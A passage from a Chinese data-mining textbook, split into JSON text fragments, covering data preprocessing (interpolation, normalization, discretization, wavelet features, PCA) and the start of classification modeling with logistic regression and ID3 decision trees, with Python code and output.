应用拉格朗日插值法算对表4-2中的缺失值进行插补，使用缺失值前后各5个未缺失的数据参与建模，得插值结果如下所示。 在进行插值之前会对数据进行异常值检测，发现2015/2/21日的数据是异常的（数据大于5000），所以也把此日期数据定义为空缺值，进行补数。利用拉格朗日插值对这2015/2/21和2015/2/14的数据进行插补，结果是4275.255和4156.86，这两天都是周末，而周末的销售额一般要比周一到周五要多，所以插值结果比较符合实际情况。 4.1.2 异常值处理 在数据预处理时，异常值是否剔除，需视具体情况而定，因为有些异常值可能蕴含着有用的信息。异常值处理常用方法见表4-3。 表4-3 异常值处理常用方法 将含有异常值的记录直接删除的方法简单易行，但缺点也很明显，在观测值很少的情况下，这种删除会造成样本量不足，可能会改变变量的原有分布，从而造成分析结果的不准确。视为缺失值处理的好处是可以利用现有变量的信息，对异常值（缺失值）进行填补。 在很多情况下，要先分析异常值出现的可能原因，再判断异常值是否应该舍弃，如果是正确的数据，可以直接在具有异常值的数据集上进行挖掘建模。"},
    {"text": "4.2 数据集成 数据挖掘需要的数据往往分布在不同的数据源中，数据集成就是将多个数据源合并存放在一个一致的数据存储（如数据仓库）中的过程。 在数据集成时，来自多个数据源的现实世界实体的表达形式是不一样的，有可能不匹配，要考虑实体识别问题和属性冗余问题，从而将源数据在最低层上加以转换、提炼和集成。 4.2.1 实体识别 实体识别是指从不同数据源识别出现实世界的实体，它的任务是统一不同源数据的矛盾之处，常见形式如下。 （1）同名异义 数据源A中的属性ID和数据源B中的属性ID分别描述的是菜品编号和订单编号，即描述的是不同的实体。 （2）异名同义 数据源A中的sales_dt和数据源B中的sales_date都是描述销售日期的，即A.sales_dt=B.sales_date。 （3）单位不统一 描述同一个实体分别用的是国际单位和中国传统的计量单位。 检测和解决这些冲突就是实体识别的任务。 4.2.2 冗余属性识别 数据集成往往导致数据冗余，例如， 1）同一属性多次出现； 2）同一属性命名不一致导致重复。 仔细整合不同源数据能减少甚至避免数据冗余与不一致，从而提高数据挖掘的速度和质量。对于冗余属性要先分析，检测到后再将其删除。 有些冗余属性可以用相关分析检测。给定两个数值型的属性A和B，根据其属性值，用相关系数度量一个属性在多大程度上蕴含另一个属性，相关系数介绍见3.2.6节。"},
    {"text": "4.3 数据变换 数据变换主要是对数据进行规范化处理，将数据转换成“适当的”形式，以适用于挖掘任务及算法的需要。 4.3.1 简单函数变换 简单函数变换是对原始数据进行某些数学函数变换，常用的变换包括平方、开方、取对数、差分运算等，即： 简单的函数变换常用来将不具有正态分布的数据变换成具有正态分布的数据。"},
    {"text": "在数据挖掘中，简单的函数变换可能更有必要，比如个人年收入的取值范围为10000元到10亿元，这是一个很大的区间，使用对数变换对其进行压缩是常用的一种变换处理方法。"},
    {"text": "不同评价指标往往具有不同的量纲，数值间的差别可能很大，不进行处理可能会影响到数据分析的结果。 为了消除指标之间的量纲和取值范围差异的影响，需要进行标准化处理，将数据按照比例进行缩放，使之落入一个特定的区域，便于进行综合分析。"},
    {"text": "代码清单4-2 数据规范化代码 #-*- coding: utf-8 -*- # 数据规范化 import pandas as pd datafile = '../data/normalization_data.xls' # 参数初始化 data = pd.read_excel(datafile, header = None) # 读取数据 (data - data.min())/(data.max() - data.min()) # 最小 - 最大规范化 (data - data.mean())/data.std() # 零 - 均值规范化 data/10**np.ceil(np.log10(data.abs().max())) # 小数定标规范化 代码详见：demo/code/data_normalization.py 执行上面的代码后，可以在命令行看到下面的输出： >>> data 0 1 2 3 0 78 521 602 2863 1 144 -600 -521 2245 2 95 -457 468 -1283 3 69 596 695 1054 4 190 527 691 2051 5 101 403 470 2487 6 146 413 435 2571 >>> (data - data.min())/(data.max() - data.min()) # 最小 - 最大规范化 0 1 2 3 0 0.074380 0.937291 0.923520 1.000000 1 0.619835 0.000000 0.000000 0.850941 2 0.214876 0.119565 0.813322 0.000000 3 0.000000 1.000000 1.000000 0.563676 4 1.000000 0.942308 0.996711 0.804149 5 0.264463 0.838629 0.814967 0.909310 6 0.636364 0.846990 0.786184 0.929571 >>> (data - data.mean())/data.std() # 零 - 均值规范化 0 1 2 3 0 -0.905383 0.635863 0.464531 0.798149 1 0.604678 -1.587675 -2.193167 0.369390 2 -0.516428 -1.304030 0.147406 -2.078279 3 -1.111301 0.784628 0.684625 -0.456906 4 1.657146 0.647765 0.675159 0.234796 5 -0.379150 0.401807 0.152139 0.537286 6 0.650438 0.421642 0.069308 0.595564 >>> data/10**np.ceil(np.log10(data.abs().max())) # 小数定标规范化 0 1 2 3 0 0.078 0.521 0.602 0.2863 1 0.144 -0.600 -0.521 0.2245 2 0.095 -0.457 0.468 -0.1283 3 0.069 0.596 0.695 0.1054 4 0.190 0.527 0.691 0.2051 5 0.101 0.403 0.470 0.2487 6 0.146 0.413 0.435 0.2571 对于一个含有n个记录p个属性的数据集，分别对每一个属性的取值进行规范化。 对原始的数据矩阵分别用最小-最大规范化、零-均值规范化、小数定标规范化进行规范化后的数据如上所示。"},
    {"text": "1.离散化的过程 连续属性的离散化就是在数据的取值范围内设定若干个离散的划分点，将取值范围划分为一些离散化的区间，最后用不同的符号或整数值代表落在每个子区间中的数据值。"},
    {"text": "（3）基于聚类分析的方法 一维聚类的方法包括两个步骤，首先将连续属性的值用聚类算法（如K-Means算法）进行聚类，然后再将聚类得到的簇进行处理，合并到一个簇的连续属性值并做同一标记。"},
    {"text": "下面使用上述3种离散化方法对“医学中中医证型的相关数据”进行连续属性离散化的对比，该属性的示例数据见表4-4。 表4-4 中医证型连续属性离散化数据 数据详见：demo/data/discretization_data.xls 具体可以参考第8章中相关章节，其Python代码如代码清单4-3所示。"},
    {"text": "代码清单4-3 数据离散化 #-*- coding: utf-8 -*- # 数据规范化 import pandas as pd datafile = '../data/discretization_data.xls' # 参数初始化 data = pd.read_excel(datafile) # 读取数据 data = data[u' 肝气郁结证型系数 '].copy() k = 4 d1 = pd.cut(data, k, labels = range(k)) # 等宽离散化，各个类比依次命名为 0,1,2,3 # 等频率离散化 w = [1.0*i/k for i in range(k+1)] w = data.describe(percentiles = w)[4:4+k+1] # 使用 describe 函数自动计算分位数 w[0] = w[0]*(1-1e-10) d2 = pd.cut(data, w, labels = range(k)) from sklearn.cluster import KMeans # 引入 KMeans kmodel = KMeans(n_clusters = k, n_jobs = 4) # 建立模型， n_jobs 是并行数，一般等于 CPU 数较好 kmodel.fit(data.reshape((len(data), 1))) # 训练模型 c = pd.DataFrame(kmodel.cluster_centers_).sort(0) # 输出聚类中心，并且排序（默认是随机 序的） w = pd.rolling_mean(c, 2).iloc[1:] # 相邻两项求中点，作为边界点 w = [0] + list(w[0]) + [data.max()] # 把首末边界点加上 d3 = pd.cut(data, w, labels = range(k)) def cluster_plot(d, k): # 自定义作图函数来显示聚类结果 import matplotlib.pyplot as plt plt.rcParams['font.sans-serif'] = ['SimHei'] # 用来正常显示中文标签 plt.rcParams['axes.unicode_minus'] = False # 用来正常显示负号 plt.figure(figsize = (8, 3)) for j in range(0, k): plt.plot(data[d==j], [j for i in d[d==j]], 'o') plt.ylim(-0.5, k-0.5) return plt cluster_plot(d1, k).show() cluster_plot(d2, k).show() cluster_plot(d3, k).show() 代码详见：demo/code/data_discretization.m 运行上面的程序，可以得到图4-2~图4-4所示的结果。 图4-2 等宽离散化结果 图4-3 等频离散化方法 图4-4 （一维）聚类离散化方法 分别用等宽法、等频法和（一维）聚类对数据进行离散化，将数据分成4类，然后将每一类记为同一个标识，如分别记为A1、A2、A3、A4，再进行建模。"},
    {"text": "4.3.4 属性构造 在数据挖掘的过程中，为了提取更有用的信息，挖掘更深层次的模式，提高挖掘结果的精度，我们需要利用已有的属性集构造出新的属性，并加入到现有的属性集合中。"},
    {"text": "理论上供入电量和供出电量应该是相等的，但是由于在传输过程中存在电能损耗，使得供入电量略大于供出电量，如果该条线路上的一个或多个大用户存在窃漏电行为，会使得供入电量明显大于供出电量（详见线户关系图6-7）。"},
    {"text": "根据线损率的计算公式，由供入电量、供出电量进行线损率的属性构造代码，如代码清单4-4所示。 代码清单4-4 线损率属性构造 #-*- coding: utf-8 -*- # 线损率属性构造 import pandas as pd # 参数初始化 inputfile= '../data/electricity_data.xls' # 供入供出电量数据 outputfile = '../tmp/electricity_data.xls' # 属性构造后数据文件 data = pd.read_excel(inputfile) # 读入数据 data[u' 线损率 '] = (data[u' 供入电量 '] - data[u' 供出电量 '])/data[u' 供入电量 '] data.to_excel(outputfile, index = False) # 保存结果 代码详见：demo/code/line_rate_construct.py 4.3.5 小波变换 小波变换 [4][5] 是一种新型的数据分析工具，是近年来兴起的信号分析手段。"},
    {"text": "小波分析的理论和方法在信号处理、图像处理、语音处理、模式识别、量子物理等领域得到越来越广泛的应用，它被认为是近年来在工具及方法上的重大突破。 小波变换具有多分辨率的特点，在时域和频域都具有表征信号局部特征的能力，通过伸缩和平移等运算过程对信号进行多尺度聚焦分析，提供了一种非平稳信号的时频分析手段，可以由粗及细地逐步观察信号，从中提取有用信息。 能够刻画某个问题的特征量往往是隐含在一个信号中的某个或者某些分量中，小波变换可以把非平稳信号分解为表达不同层次、不同频带信息的数据序列，即小波系数。 选取适当的小波系数，即完成了信号的特征提取。 下面将介绍基于小波变换的信号特征提取方法。 （1）基于小波变换的特征提取方法 基于小波变换的特征提取方法主要有：基于小波变换的多尺度空间能量分布特征提取、基于小波变换的多尺度空间的模极大值特征提取、基于小波包变换的特征提取、基于适应性小波神经网络的特征提取，详见表4-5。 表4-5 基于小波变换的特征提取方法 （2）小波基函数 小波基函数是一种具有局部支集的函数，并且平均值为0，小波基函数满足ψ（0）＝∫ψ（t）dt＝0。"},
    {"text": "常用的小波基有Haar小波基、db系列小波基等。 Haar小波基函数如图4-5所示。 图4-5 Haar小波基函数 （3）小波变换 对小波基函数进行伸缩和平移变换： 其中，a为伸缩因子，b为平移因子。"},
    {"text": "任意函数f（t）的连续小波变换（CWT）为： 可知，连续小波变换为f（t）→W f （a，b）的映射，对小波基函数ψ（t）增加约束条件C ψ = ，就可以由W f （a，b）逆变换得到f（t）。"},
    {"text": "其逆变换为： 下面介绍基于小波变换的多尺度空间能量分布特征提取方法。 （4）基于小波变换的多尺度空间能量分布特征提取方法 应用小波分析技术可以把信号在各频率波段中的特征提取出来，基于小波变换的多尺度空间能量分布特征提取方法是对信号进行频带分析，再分别以计算所得的各个频带的能量作为特征向量。"},
    {"text": "图4-6 多尺度分解的信号频带分布 信号的总能量为： 选择第j层的近似信号和各层的细节信号的能量作为特征，构造特征向量： 利用小波变换可以对声波信号进行特征提取，提取出可以代表声波信号的向量数据，即完成从声波信号到特征向量数据的变换。 本例利用小波函数对声波信号数据进行分解，得到5个层次的小波系数。 利用这些小波系数求得各个能量值，这些能量值即可作为声波信号的特征数据。"},
    {"text": "代码清单4-5 小波变换特征提取代码 #-*- coding: utf-8 -*- # 利用小波分析进行特征分析 # 参数初始化 inputfile= '../data/leleccum.mat' # 提取自 Matlab 的信号文件 from scipy.io import loadmat #mat 是 Python 专用格式，需要用 loadmat 读取它 mat = loadmat(inputfile) signal = mat['leleccum'][0] import pywt # 导入 PyWavelets coeffs = pywt.wavedec(signal, 'bior3.7', level = 5) # 返回结果为 level+1 个数字，第一个数组为逼近系数数组，后面的依次是细节系数数组 代码详见：demo/code/wave_analyze.py"},
    {"text": "4.4.1 属性规约 属性规约通过属性合并来创建新属性维数，或者直接通过删除不相关的属性（维）来减少数据维数，从而提高数据挖掘的效率、降低计算成本。 属性规约的目标是寻找出最小的属性子集并确保新数据子集的概率分布尽可能地接近原来数据集的概率分布。"},
    {"text": "主成分分析是一种用于连续属性的数据降维方法，它构造了原始数据的一个正交变换，新空间的基底去除了原始空间基底下数据的相关性，只需使用少数新变量就能够解释原始数据中的大部分变异。 在应用中，通常是选出比原始变量个数少，能解释大部分数据中的变量的几个新变量，即所谓主成分，来代替原始变量进行建模。"},
    {"text": "6）计算m个相应的单位特征向量： 7）计算主成分： 在Python中，主成分分析的函数位于Scikit-Learn下： sklearn.decomposition.PCA(n_components = None, copy = True, whiten = False) 参数说明： （1）n_components 意义：PCA算法中所要保留的主成分个数n，也即保留下来的特征个数n。"},
    {"text": "若为True，则运行PCA算法后，原始训练数据的值不会有任何改变，因为是在原始数据的副本上进行运算； 若为False，则运行PCA算法后，原始训练数据的值会改，因为是在原始数据上进行降维计算。"},
    {"text": "代码清单4-6 主成分分析降维代码 import pandas as pd # 参数初始化 inputfile = '../data/principal_component.xls' outputfile = '../tmp/dimention_reducted.xls' # 降维后的数据 data = pd.read_excel(inputfile, header = None) # 读入数据 from sklearn.decomposition import PCA pca = PCA() pca.fit(data) pca.components_ # 返回模型的各个特征向量 pca.explained_variance_ratio_ # 返回各个成分各自的方差百分比 代码详见：demo/code/principal_component_analyze.py 运行上面的代码可以，得到下面的结果。"},
    {"text": ">>> pca.components_ # 返回模型的各个特征向量 array([[-0.56788461, -0.2280431 , -0.23281436, -0.22427336, -0.3358618 , -0.43679539, -0.03861081, -0.46466998], [-0.64801531, -0.24732373, 0.17085432, 0.2089819 , 0.36050922, 0.55908747, -0.00186891, -0.05910423], [-0.45139763, 0.23802089, -0.17685792, -0.11843804, -0.05173347, -0.20091919, -0.00124421, 0.80699041], [-0.19404741, 0.9021939 , -0.00730164, -0.01424541, 0.03106289, 0.12563004, 0.11152105, -0.3448924 ], [ 0.06133747, 0.03383817, -0.12652433, -0.64325682, 0.3896425 , 0.10681901, -0.63233277, -0.04720838], [-0.02579655, 0.06678747, -0.12816343, 0.57023937, 0.52642373, -0.52280144, -0.31167833, -0.0754221 ], [ 0.03800378, -0.09520111, -0.15593386, -0.34300352, 0.56640021, -0.18985251, 0.69902952, -0.04505823], [ 0.10147399, -0.03937889, -0.91023327, 0.18760016, -0.06193777, 0.34598258, 0.02090066, -0.02137393]]) >>> pca.explained_variance_ratio_ # 返回各个成分各自的方差百分比（贡献率） array([ 7.74011263e-01, 1.56949443e-01, 4.27594216e-02, 2.40659228e-02, 1.50278048e-03, 4.10990447e-04, 2.07718405e-04, 9.24594471e-05]) 从上面的结果可以得到特征方程det（R-E）＝0有7个特征根、对应的7个单位特征向量以及各个成分各自的方差百分比（也称为贡献率）。"},
    {"text": "当选取前4个主成分时，累计贡献率已达到97.37%，说明选取前3个主成分进行计算已经相当不错了，因此可以重新建立PCA模型，设置n_components＝3，计算出成分结果。"},
    {"text": "# 接代码清单 4-5 pca = PCA(3) pca.fit(data) low_d = pca.transform(data) # 用它来降低维度 pd.DataFrame(low_d).to_excel(outputfile) # 保存结果 pca.inverse_transform(low_d) # 必要时可以用 inverse_transform() 函数来复原数据 降维结果如下所示。 >>> low_d array([[ -8.19133694, -16.90402785, 3.90991029], [ -0.28527403, 6.48074989, -4.62870368], [ 23.70739074, 2.85245701, -0.4965231 ], [ 14.43202637, -2.29917325, -1.50272151], [ -5.4304568 , -10.00704077, 9.52086923], [-24.15955898, 9.36428589, 0.72657857], [ 3.66134607, 7.60198615, -2.36439873], [-13.96761214, -13.89123979, -6.44917778], [-40.88093588, 13.25685287, 4.16539368], [ 1.74887665, 4.23112299, -0.58980995], [ 21.94321959, 2.36645883, 1.33203832], [ 36.70868069, 6.00536554, 3.97183515], [ -3.28750663, -4.86380886, 1.00424688], [ -5.99885871, -4.19398863, -8.59953736]]) 原始数据从8维被降维到了3维，关系式由公式（4-27）确定，同时这3维数据占了原始数据95%以上的信息。"},
    {"text": "有参数方法是使用一个模型来评估数据，只需存放参数，而不需要存放实际数据，例如回归（线性回归和多元回归）和对数线性模型（近似离散属性集中的多维概率分布）。"},
    {"text": "3，3，5，5，5，8，8，10，10，10，10，15，15，15，22，22，22，22，22，22，22，22，22，25，25，25，25，25，25，25，25，25，30，30，30，30，30，35，35，35，35，35，39，39，40，40，40。"},
    {"text": "图4-7 使用单桶的价格直方图—每个单桶代表一个价值/频率对 图4-8 价格的等宽直方图—每个桶代表一个价格区间/频率对 （2）聚类 聚类技术将数据元组（即记录，数据表中的一行）视为对象。"},
    {"text": "s个样本无放回简单随机抽样：从D的N个元组中抽取s个样本（s＜N），其中D中任意元组被抽取的概率均为1/N，即所有元组的抽取是等可能的。 s个样本有放回简单随机抽样：该方法类似于无放回简单随机抽样，不同在于每次一个元组从D中抽取后，记录它，然后放回原处。 聚类抽样：如果D中的元组分组放入M个互不相交的“簇”，则可以得到s个簇的简单随机抽样，其中s＜M。"},
    {"text": "把点对（2，5），（3，7），（4，9），（5，12），（6，11），（7，15），（8，18），（9，19），（11，22），（12，25），（13，24），（15，30），（17，35）规约成线性函数y＝wx＋b。 即拟合函数y＝2x＋1.3线上对应的点可以近似看作已知点。"},
    {"text": "对数线性模型：用来描述期望频数与协变量（指与因变量有线性相关并在探讨自变量与因变量关系时通过统计技术加以控制的变量）之间的关系。"},
    {"text": "可以使用对数线性模型基于维组合的一个较小子集，估计离散化的属性集的多维空间中每个点的概率，这使得高维数据空间可以由较低维空间构造。 因此，对数线性模型也可以用于维规约（由于低维空间的点通常比原来的数据点占据较少的空间）和数据光滑（因为与较高维空间的估计相比，较低维空间的聚集估计较少受抽样方差的影响）。"},
    {"text": "4.5 Python主要数据预处理函数 表4-7给出了本节要介绍的Python中的插值、数据归一化、主成分分析等与数据预处理相关的函数。本小节对它们进行介绍。 表4-7 Python主要数据预处理函数 （1）interpolate 1）功能：interpolate是Scipy的一个子库，包含了大量的插值函数，如拉格朗日插值、样条插值、高维插值等。使用前需要用from scipy.interpolate import*引入相应的插值函数，读者应该根据需要到官网查找对应的函数名。 2）使用格式：f=scipy.interpolate.lagrange（x，y）。这里仅仅展示了一维数据的拉格朗日插值的命令，其中x，y为对应的自变量和因变量数据。插值完成后，可以通过f（a）计算新的插值结果。类似的还有样条插值、多维数据插值等，此处不一一展示。 （2）unique 1）功能：去除数据中的重复元素，得到单值元素列表。它既是Numpy库的一个函数（np.unique（）），也是Series对象的一个方法。 2）使用格式： ·np.unique（D），D是一维数据，可以是list、array、Series； ·D.unique（），D是Pandas的Series对象。 3）实例：求向量A中的单值元素，并返回相关索引。 >>> D = pd.Series([1, 1, 2, 3, 5]) >>> D.unique() array([1, 2, 3, 5], dtype=int64) >>> np.unique(D) array([1, 2, 3, 5], dtype=int64) （3）isnull/notnull 1）功能：判断每个元素是否空值/非空值。 2）使用格式：D.isnull（）/D.notnull（）。这里的D要求是Series对象，返回一个布尔Series。可以通过D[D.isnull（）]或D[D.notnull（）]找出D中的空值/非空值。 （4）random 1）功能：random是Numpy的一个子库（Python本身也自带了random，但Numpy的更加强大），可以用该库下的各种函数生成服从特定分布的随机矩阵，抽样时可使用。 2）使用格式： ·np.random.rand（k，m，n，...）生成一个k×m×n×...随机矩阵，其元素均匀分布在区间（0，1）上； ·np.random.randn（k，m，n，...）生成一个k×m×n×...随机矩阵，其元素服从标准正态分布。 （5）PCA 1）功能：对指标变量矩阵进行主成分分析。使用前需要用from sklearn.decomposition import PCA引入该函数。 2）使用格式：model=PCA（）。注意，Scikit-Learn下的PCA是一个建模式的对象，也就是说，一般的流程是建模，然后是训练model.fit（D），D为要进行主成分分析的数据矩阵，训练结束后获取模型的参数，如.components_获取特征向量，以及.explained_variance_ratio_获取各个属性的贡献率等。 3）实例：使用PCA（）对一个10×4维的随机矩阵进行主成分分析。 >>>from sklearn.decomposition import PCA >>>D = np.random.rand(10,4) >>>pca = PCA() >>>pca.fit(D) PCA(copy=True, n_components=None, whiten=False) >>>pca.components_ # 返回模型的各个特征向量 array([[-0.42899319, -0.69804397, 0.32876844, -0.46969221], [ 0.03680965, -0.0667248 , 0.7848853 , 0.61493733], [-0.62222716, 0.68499407, 0.28400153, -0.25091755], [-0.65379144, -0.19765007, -0.4418252 , 0.58161989]]) >>>pca.explained_variance_ratio_ # 返回各个成分各自的方差百分比 array([ 0.40836652, 0.32861061, 0.21894296, 0.0440799 ]) 4.6 小结 本章介绍了数据预处理的4个主要任务：数据清洗、数据集成、数据变换和数据规约。数据清洗主要介绍了对缺失值和异常值的处理，延续了第3章的缺失值和异常值分析的内容，本章所介绍的处理缺失值的方法分为3类：删除记录、数据插补和不处理，处理异常值的方法有删除含有异常值的记录、不处理、平均值修正和视为缺失值；数据集成是合并多个数据源中的数据，并存放到一个数据存储的过程，对该部分的介绍从实体识别问题和冗余属性两个方面进行；数据变换介绍了如何从不同的应用角度对已有属性进行函数变换；数据规约从属性（纵向）规约和数值（横向）规约两个方面介绍了如何对数据进行规约，使挖掘的性能和效率得到很大的提高。通过对原始数据进行相应的处理，将为后续挖掘建模提供良好的数据基础。 第5章 挖掘建模 经过数据探索与数据预处理，得到了可以直接建模的数据。根据挖掘目标和数据形式可以建立分类与预测、聚类分析、关联规则、时序模式和偏差检测等模型，帮助企业提取数据中蕴含的商业价值，提高企业的竞争力。"},
    {"text": "分类和预测是预测问题的两种主要类型，分类主要是预测分类标号（离散属性），而预测主要是建立连续值函数模型，预测给定自变量对应的因变量的值。"},
    {"text": "第二步是分类步，先用已知的测试样本集评估分类规则的准确率，如果准确率是可以接受的，则使用该模型对未知类标号的待测样本集进行预测。 预测模型的实现也有两步，类似于图5-2描述的分类模型，第一步是通过训练集建立预测属性（数值型的）的函数模型，第二步在模型通过检验后进行预测或控制。 图5-2 分类模型的实现步骤 5.1.2 常用的分类与预测算法 常用的分类与预测算法见表5-1。 表5-1 主要分类与预测算法简介 5.1.3 回归分析 回归分析 [7] 是通过建立模型来研究变量之间相互关系的密切程度、结构状态及进行模型预测的一种有效工具，在工商管理、经济、社会、医学和生物学等领域应用十分广泛。"},
    {"text": "表5-2 主要回归模型分类 线性回归模型是相对简单的回归模型，但是通常因变量和自变量之间呈现某种曲线关系，就需要建立非线性回归模型。"},
    {"text": "假设在自变量x 1 ，x 2 ，…，x p 作用下，y取“是”的概率是p，则取“否”的概率是1-p，研究的是当y取“是”发生的概率p与自变量x 1 ，x 2 ，…，x p 的关系。"},
    {"text": "1.Logistic回归分析介绍 （1）Logistic函数 Logistic回归模型中的因变量的只有1-0（如是和否、发生和不发生）两种取值。 假设在p个独立自变量x 1 ，x 2 ，…，x p 作用下，记y取1的概率是p=P（y=1|X），取0概率是1-p，取1和取0的概率之比为p/（1-p），称为事件的优势比（odds），对odds取自然对数即得Logistic变换Logit（p）=ln[p/（1-p）]。 令Logit（p）=ln[p/（1-p）]=z，则p=1/（1+e -z ）即为Logistic函数，如图5-3所示。 图5-3 Logistic函数 当p在（0，1）之间变化时，odds的取值范围是（0，+∞），则ln[p/（1-p）]的取值范围是（-∞，+∞）。 （2）Logistic回归模型 Logistic回归模型是建立ln[p/（1-p）]与自变量的线性回归模型。 Logistic回归模型为： 因为ln[p/（1-p）]的取值范围是（-∞，+∞），这样，自变量x 1 ，x 2 ，…，x p 可在任意范围内取值。 记g（x）＝β 0 ＋β 1 x 1 ＋…＋β p x p ，得到： （3）Logistic回归模型解释 β 0 ：在没有自变量，即x 1 ，x 2 ，…，x p 全部取0，y＝1与y＝0发生概率之比的自然对数；"},
    {"text": "2.Logistic回归建模步骤 Logistic回归模型的建模步骤如图5-4所示。 图5-4 Logistic回归模型的建模步骤 1）根据分析目的设置指标变量（因变量和自变量），然后收集数据，根据收集到的数据，对特征再次进行筛选；"},
    {"text": "下面对某银行在降低贷款拖欠率的数据进行逻辑回归建模，该数据示例如表5-3所示。 表5-3 银行贷款拖欠率数据 数据详见：示例程序/data/bankloan.xls 利用Scikit-Learn对这个数据进行逻辑回归分析。"},
    {"text": "首先进行特征筛选，特征筛选的方法有很多，主要包含在Scikit_Learn的feature_selection库中，比较简单的有通过F检验（f_regression）来给出各个特征的F值和p值，从而可以筛选变量（选择F值大的或者p值小的特征）。"},
    {"text": "这里使用了稳定性选择方法中的随机逻辑回归进行特征筛选，然后利用筛选后的特征建立逻辑回归模型，输出平均正确率，其代码如代码清单5-1所示。"},
    {"text": "代码清单5-1 逻辑回归代码 #-*- coding: utf-8 -*- # 逻辑回归 自动建模 import pandas as pd # 参数初始化 filename = '../data/bankloan.xls' data = pd.read_excel(filename) x = data.iloc[:,:8].as_matrix() y = data.iloc[:,8].as_matrix() from sklearn.linear_model import LogisticRegression as LR from sklearn.linear_model import RandomizedLogisticRegression as RLR rlr = RLR() # 建立随机逻辑回归模型，筛选变量 rlr.fit(x, y) # 训练模型 rlr.get_support() # 获取特征筛选结果，也可以通过 .scores_ 方法获取各个特征的分数 print(u' 通过随机逻辑回归模型筛选特征结束。 ') print(u' 有效特征为： %s' % ','.join(data.columns[rlr.get_support()])) x = data[data.columns[rlr.get_support()]].as_matrix() # 筛选好特征 lr = LR() # 建立逻辑货柜模型 lr.fit(x, y) # 用筛选后的特征数据来训练模型 print(u' 逻辑回归模型训练结束。"},
    {"text": "') print(u' 模型的平均正确率为： %s' % lr.score(x, y)) # 给出模型的平均正确率，本例为 81.4% 代码详见：示例程序/code/logistic_regression.py 运行代码清单5-1，可以得到部分输出结果如下。"},
    {"text": "模型的平均正确率为： 0.814285714286 递归特征消除的主要思想是反复的构建模型（如SVM或者回归模型）然后选出最好的（或者最差的）的特征（可以根据系数来选），把选出来的特征放到一边，然后在剩余的特征上重复这个过程，直到遍历所有特征。"},
    {"text": "逻辑回归本质上还是一种线性模型，因此这里的模型有效性检验本质上还是在做线性相关检验，因此，所筛选出来的变量，说明与结果具有比较强的线性相关性，然而被筛掉的变量并不一定就跟结果没有关系，因为它们之间有可能是非线性关系。"},
    {"text": "20世纪70年代后期和80年代初期，机器学习研究者J.Ross Quinlan提出了ID3[8]算法以后，决策树在机器学习、数据挖掘领域得到极大的发展。"},
    {"text": "决策树是一树状结构，它的每一个叶节点对应着一个分类，非叶节点对应着在某个属性上的划分，根据样本在该属性上的不同取值将其划分成若干个子集。"},
    {"text": "样本集的划分则依据测试属性的取值进行，测试属性有多少不同取值就将样本集划分为多少子样本集，同时决策树上相应于该样本集的节点长出新的叶子节点。"},
    {"text": "ID3算法根据信息论理论，采用划分后样本集的不确定性作为衡量划分好坏的标准，用信息增益值度量不确定性：信息增益值越大，不确定性越小。 因此，ID3算法在每个非叶节点选择信息增益最大的属性作为测试属性，这样可以得到当前情况下最纯的拆分，从而得到较小的决策树。"},
    {"text": "设一个属性A具有k个不同的值{a 1 ，a 2 ，…，a k }，利用属性A将集合S划分为个子集{S 1 ，S 2 ，…，S k }，其中S j 包含了集合S中属性A取a j 值的样本。"},
    {"text": "最后，用属性A划分样本集S后所得的信息增益（Gain）为 显然E（A）越小，Gain（A）的值越大，说明选择测试属性A对于分类提供的信息越大，选择A之后对分类的不确定程度越小。"},
    {"text": "属性A的k个不同的值对应样本集S的k个子集或分支，通过递归调用上述过程（不包括已经选择的属性），生成其他属性作为节点的子节点和分支来生成整个决策树。"},
    {"text": "ID3决策树算法作为一个典型的决策树学习算法，其核心是在决策树的各级节点上都用信息增益作为判断标准进行属性的选择，使得在每个非叶节点上进行测试时，都能获得最大的类别分类增益，使分类后数据集的熵最小。"},
    {"text": "1）对当前样本集合，计算所有属性的信息增益； 2）选择信息增益最大的属性作为测试属性，把测试属性取值相同的样本划为同一个子样本集；"},
    {"text": "对于企业的高层来讲，了解周末和非周末销量是否有大的区别，以及天气、促销活动这些因素是否能够影响门店的销量等信息至关重要。 因此，为了让决策者准确了解和销量有关的一系列影响因素，需要构建模型来分析天气、是否周末和是否有促销活动对销量的影响，下面以单个门店为例来进行分析。"},
    {"text": "如天气为“多云”“多云转晴”“晴”这些属性值相近，均是适宜外出的天气，不会对产品销量有太大的影响，因此将它们归为一类，天气属性值设置为“好”。 同理，对于“雨”“小到中雨”等天气，均是不适宜外出的天气，因此将它们归为一类，天气属性值设置为“坏”。"},
    {"text": "对于是否周末属性，周末则设置为“是”，非周末则设置为“否”。 对于是否有促销活动属性，有促销则设置为“是”，无促销则设置为“否”。"},
    {"text": "其中，天气为“好”的条件下，销售数量为“高”的记录为11，销售数量为“低”的记录为6，可表示为（11，6）； 天气为“坏”的条件下，销售数量为“高”的记录为7，销售数量为“低”的记录为10，可表示为（7，10）。"},
    {"text": "其中，是否周末属性为“是”的条件下，销售数量为“高”的记录为11，销售数量为“低”的记录为3，可表示为（11，3）； 是否周末属性为“否”的条件下，销售数量为“高”的记录为7，销售数量为“低”的记录为13，可表示为（7，13）。"},
    {"text": "对于是否有促销属性，其属性值有“是”和“否”两种。 其中，是否有促销属性为“是”的条件下，销售数量为“高”的记录为15，销售数量为“低”的记录为7，可表示为（15，7）； 其中，是否有促销属性为“否”的条件下，销售数量为“高”的记录为3，销售数量为“低”的记录为9，可表示为（3，9）。 则是否有促销属性的信息熵计算过程如下。"},
    {"text": "3）根据公式（5-7），计算天气、是否周末和是否有促销属性的信息增益值。 Gain（天气）=I（18，16）-E（天气）=0.997503-0.957043=0.04046 Gain（是否周末）=I（18，16）-E（是否周末）=0.997503-0.858109=0.139394 Gain（是否有促销）=I（18，16）-E（是否有促销）=0.997503-0.870235=0.127268 4）由第3）步的计算结果可以知道，是否周末属性的信息增益值最大，它的两个属性值“是”和“否”作为该根结点的两个分支。"},
    {"text": "然后按照第1）步到第3）步所示步骤继续对该根结点的3个分支进行结点的划分，针对每一个分支结点继续进行信息增益的计算，如此循环反复，直到没有新的结点分支，最终构成一棵决策树。"},
    {"text": "·若周末属性为“是”，天气为“好”，则销售数量为“高”。 ·若周末属性为“是”，天气为“坏”，促销属性为“是”，则销售数量为“高”。 ·若周末属性为“是”，天气为“坏”，促销属性为“否”，则销售数量为“低”。 ·若周末属性为“否”，促销属性为“否”，则销售数量为“低”。 ·若周末属性为“否”，促销属性为“是”，天气为“好”，则销售数量为“高”。 ·若周末属性为“否”，促销属性为“是”，天气为“坏”，则销售数量为“低”。"},
